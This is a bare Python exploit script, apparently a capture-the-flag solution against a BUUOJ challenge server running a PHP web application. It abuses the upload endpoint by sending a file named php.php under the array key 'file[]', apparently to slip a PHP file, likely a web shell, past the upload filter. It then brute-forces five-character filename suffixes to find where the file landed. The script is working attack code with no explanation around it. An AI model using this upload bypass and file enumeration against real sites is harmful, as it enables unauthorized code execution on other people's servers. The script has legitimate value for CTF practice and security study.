import requests url = 'http://42ce58e8-bbfa-427d-b9c2-c732b517a827.node3.buuoj.cn/index.php/Home/index/upload' file1 = {'file':open('C:\\users\\20719\\desktop\\1.txt','r')} file2 = {'file[]':open('C:\\users\\20719\\desktop\\php.php','r')} file3 = {'file':open('C:\\users\\20719\\desktop\\1.txt','r')} r=requests.post(url,files=file1) print(r.text) r=requests.post(url,files=file2) print(r.text) r=requests.post(url,files=file3) print(r.text) dir='abcdefghijklmnopqrstuvwxyz0123456789' for i in dir: for j in dir: for x in dir: for y in dir: for z in dir: url='http://42ce58e8-bbfa-427d-b9c2-c732b517a827.node3.buuoj.cn/Public/Uploads/2020-12-04/5fc9da34{}{}{}{}{}.txt'.format(i,j,x,y,z) r = requests.get(url) print(url) if r.status_code== 200: print(url) break